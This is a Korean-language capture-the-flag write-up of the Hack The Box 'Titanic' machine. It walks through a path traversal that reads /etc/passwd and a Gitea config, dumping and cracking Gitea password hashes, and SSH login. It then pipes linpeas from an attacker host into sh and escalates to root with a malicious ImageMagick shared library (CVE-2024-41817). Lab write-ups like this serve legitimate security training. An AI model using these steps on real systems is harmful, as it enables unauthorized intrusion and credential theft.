[HTB] Titanic Write Up
[HTB] Titanic Write Up
포트 스캔
1
sudo nmap -Pn -p- --min-rate 1000 -T4 -oN scans/initial_Pn 10.129.231.221
1
2
3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
초기 침투
/etc/hosts 파일 수정
1
echo "10.129.231.221 titanic.htb" | sudo tee -a /etc/hosts
서브 도메인 탐색 (ffuf 사용)
1
ffuf -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.titanic.htb" -ac
1
dev [Status: 200, Size: 13983, Words: 1107, Lines: 276, Duration: 304ms]
/etc/hosts 파일 추가
1
echo "10.129.231.221 dev.titanic.htb" | sudo tee -a /etc/hosts
dev.titanic.htb 접속
- docker-config/mysql/docker-compose.yml 파일 내 mysql 계정 획득
1
2
3
4
5
6
7
8
9
10
11
12
13
14
version: '3.8'
services:
mysql:
image: mysql:8.0
container_name: mysql
ports:
- "127.0.0.1:3306:3306"
environment:
MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
restart: always
- docker-config/gitea/docker-compose.yml 파일 내 공유 볼륨 확인
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
titanic.htb 접속
- Book Your Trip 버튼을 눌러 폼 작성 후 제출 시
/download?ticket=e5273d62-e765-4124-9897-bf860dd23cc4.json요청 패킷을 확인
1
2
GET /download?ticket=e5273d62-e765-4124-9897-bf860dd23cc4.json HTTP/1.1
Host: titanic.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Date: Sun, 15 Mar 2026 10:52:20 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename=e5273d62-e765-4124-9897-bf860dd23cc4.json
Content-Type: application/json
Content-Length: 98
Last-Modified: Sun, 15 Mar 2026 10:52:20 GMT
Cache-Control: no-cache
ETag: "1773571940.178802-98-190779686"
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
{"name": "test", "email": "test@test", "phone": "1234", "date": "2000-10-10", "cabin": "Standard"}
- ticket을 /etc/passwd로 변조 성공으로 취약점 확인
1
2
GET /download?ticket=/etc/passwd HTTP/1.1
Host: titanic.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 200 OK
Date: Sun, 15 Mar 2026 10:53:21 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/etc/passwd"
Content-Type: application/octet-stream
Content-Length: 1951
Last-Modified: Fri, 07 Feb 2025 11:16:19 GMT
Cache-Control: no-cache
ETag: "1738926979.4294043-1951-393413677"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
- 구글링을 통해 Gitea의 주요 설정 파일(
/data/gitea/conf/app.ini) 식별- dev.titanic.htb에서 식별한 공유 볼륨에 맞춰 요청
1
2
GET /download?ticket=/home/developer/gitea/data/gitea/conf/app.ini HTTP/1.1
Host: titanic.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
HTTP/1.1 200 OK
Date: Sun, 15 Mar 2026 11:02:46 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/home/developer/gitea/data/gitea/conf/app.ini"
Content-Type: application/octet-stream
Content-Length: 2004
Last-Modified: Fri, 02 Aug 2024 10:42:14 GMT
Cache-Control: no-cache
ETag: "1722595334.8970726-2004-2176520380"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea
[repository]
ROOT = /data/git/repositories
[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo
[repository.upload]
TEMP_PATH = /data/gitea/uploads
[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve
[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file
[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars
[attachment]
PATH = /data/gitea/attachments
[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log
[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2
[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost
[lfs]
PATH = /data/git/lfs
[mailer]
ENABLED = false
[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true
[cron.update_checker]
ENABLED = false
[repository.pull-request]
DEFAULT_MERGE_STYLE = merge
[repository.signing]
DEFAULT_TRUST_MODEL = committer
[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g
- db 파일 확인 > 다운로드
1
curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db -o gitea.db
SQLite 접속
1
sqlite3 gitea.db
- 테이블 목록 확인
- user 테이블 확인
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
sqlite> .tables
access oauth2_grant
access_token org_user
action package
action_artifact package_blob
action_run package_blob_upload
action_run_index package_cleanup_rule
action_run_job package_file
action_runner package_property
action_runner_token package_version
action_schedule project
action_schedule_spec project_board
action_task project_issue
action_task_output protected_branch
action_task_step protected_tag
action_tasks_version public_key
action_variable pull_auto_merge
app_state pull_request
attachment push_mirror
auth_token reaction
badge release
branch renamed_branch
collaboration repo_archiver
comment repo_indexer_status
commit_status repo_redirect
commit_status_index repo_topic
commit_status_summary repo_transfer
dbfs_data repo_unit
dbfs_meta repository
deploy_key review
email_address review_state
email_hash secret
external_login_user session
follow star
gpg_key stopwatch
gpg_key_import system_setting
hook_task task
issue team
issue_assignees team_invite
issue_content_history team_repo
issue_dependency team_unit
issue_index team_user
issue_label topic
issue_user tracked_time
issue_watch two_factor
label upload
language_stat user
lfs_lock user_badge
lfs_meta_object user_blocking
login_source user_open_id
milestone user_redirect
mirror user_setting
notice version
notification watch
oauth2_application webauthn_credential
oauth2_authorization_code webhook
- user 테이블 컬럼 조회
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
sqlite> PRAGMA table_info(user);
0|id|INTEGER|1||1
1|lower_name|TEXT|1||0
2|name|TEXT|1||0
3|full_name|TEXT|0||0
4|email|TEXT|1||0
5|keep_email_private|INTEGER|0||0
6|email_notifications_preference|TEXT|1|'enabled'|0
7|passwd|TEXT|1||0
8|passwd_hash_algo|TEXT|1|'argon2'|0
9|must_change_password|INTEGER|1|0|0
10|login_type|INTEGER|0||0
11|login_source|INTEGER|1|0|0
12|login_name|TEXT|0||0
13|type|INTEGER|0||0
14|location|TEXT|0||0
15|website|TEXT|0||0
16|rands|TEXT|0||0
17|salt|TEXT|0||0
18|language|TEXT|0||0
19|description|TEXT|0||0
20|created_unix|INTEGER|0||0
21|updated_unix|INTEGER|0||0
22|last_login_unix|INTEGER|0||0
23|last_repo_visibility|INTEGER|0||0
24|max_repo_creation|INTEGER|1|-1|0
25|is_active|INTEGER|0||0
26|is_admin|INTEGER|0||0
27|is_restricted|INTEGER|1|0|0
28|allow_git_hook|INTEGER|0||0
29|allow_import_local|INTEGER|0||0
30|allow_create_organization|INTEGER|0|1|0
31|prohibit_login|INTEGER|1|0|0
32|avatar|TEXT|1||0
33|avatar_email|TEXT|1||0
34|use_custom_avatar|INTEGER|0||0
35|num_followers|INTEGER|0||0
36|num_following|INTEGER|1|0|0
37|num_stars|INTEGER|0||0
38|num_repos|INTEGER|0||0
39|num_teams|INTEGER|0||0
40|num_members|INTEGER|0||0
41|visibility|INTEGER|1|0|0
42|repo_admin_change_team_access|INTEGER|1|0|0
43|diff_view_style|TEXT|1|''|0
44|theme|TEXT|1|''|0
45|keep_activity_private|INTEGER|1|0|0
- user 테이블 조회
1
2
3
sqlite> SELECT name,passwd,salt FROM user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34
해시 크래킹
- 사용 도구 : https://github.com/AbdrrahimDahmani/Gitea2Hashcat
1
2
3
4
5
┌──(kali㉿kali)-[~/htb/titanic/Gitea2Hashcat]
└─$ python3 gitea2hashcat.py ../gitea.db
Converted Hashes for Hashcat:
User: administrator (root@titanic.htb) -> sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
User: developer (developer@titanic.htb) -> sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
- 위 결과를 hash.txt 파일로 저장
1
2
3
4
┌──(kali㉿kali)-[~/htb/titanic/Gitea2Hashcat]
└─$ cat hash.txt
sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
- 해시 크랙
1
hashcat -m 10900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
1
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
developer / 25282528추출 성공
SSH 접속
- 패스워드 : 25282528
1
ssh developer@10.129.231.221
- 사용자 플래그 획득
1
2
developer@titanic:~$ cat user.txt
...
권한 상승
취약점 스캔
- linpeas.sh 실행
1
curl http://10.10.14.170/linpeas.sh | sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
╔══════════╣ Unexpected in /opt (usually empty) (T1083)
total 20
drwxr-xr-x 5 root root 4096 Feb 7 2025 .
drwxr-xr-x 19 root root 4096 Feb 7 2025 ..
drwxr-xr-x 5 root developer 4096 Feb 7 2025 app
drwx--x--x 4 root root 4096 Feb 7 2025 containerd
drwxr-xr-x 2 root root 4096 Feb 7 2025 scripts
╔══════════╣ Unexpected in root (T1083)
╔══════════╣ Modified interesting files in the last 5mins (limit 100) (T1083)
/opt/app/static/assets/images/metadata.log
/home/developer/.gnupg/pubring.kbx
/home/developer/.gnupg/trustdb.gpg
/home/developer/snap/lxd/common/config/config.yml
/var/log/journal/3010787ce58f43a9a8f1c8c49cb903e8/system.journal
/var/log/journal/3010787ce58f43a9a8f1c8c49cb903e8/user-1000.journal
/var/log/auth.log
/var/log/laurel/audit.log.1
/var/log/laurel/audit.log.2
/var/log/laurel/audit.log
/var/log/kern.log
/var/log/syslog
-
현재 사용자가 접근 가능한 app 폴더 내에 지난 5분 동안 수정된 파일
/opt/app/static/assets/images/metadata.log가 존재 -
metadata.log 파일
1
2
3
4
5
developer@titanic:/opt/app/static/assets/images$ cat metadata.log
/opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B 0.000u 0:00.003
/opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B 0.000u 0:00.000
/opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000
/opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B 0.000u 0:00.000
- /opt/scripts 폴더 내 identify_images.sh 스크립트 발견
- 해당 스크립트는 root 권한으로 실행됨
1
2
3
4
developer@titanic:/opt/scripts$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
- /usr/bin/magick는 ImageMagick임을 확인
- ImageMagick 버전 확인
1
/usr/bin/magick --version
1
2
3
4
5
6
7
developer@titanic:/opt/scripts$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
권한 상승
- ImageMagick 7.1.1-35에 CVE가 존재함을 확인 (CVE-2024-41817)
- 사용한 exploit : https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8
- /opt/app/static/assets/images 내 공유 라이브러리 생성
1
2
3
4
5
6
7
8
9
10
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cat /root/root.txt > /home/developer/root.txt");
exit(0);
}
EOF
- 관리자 플래그 획득
1
2
developer@titanic:/opt/app/static/assets/images$ cat /home/developer/root.txt
...
This post is licensed under
CC BY 4.0
by the author.





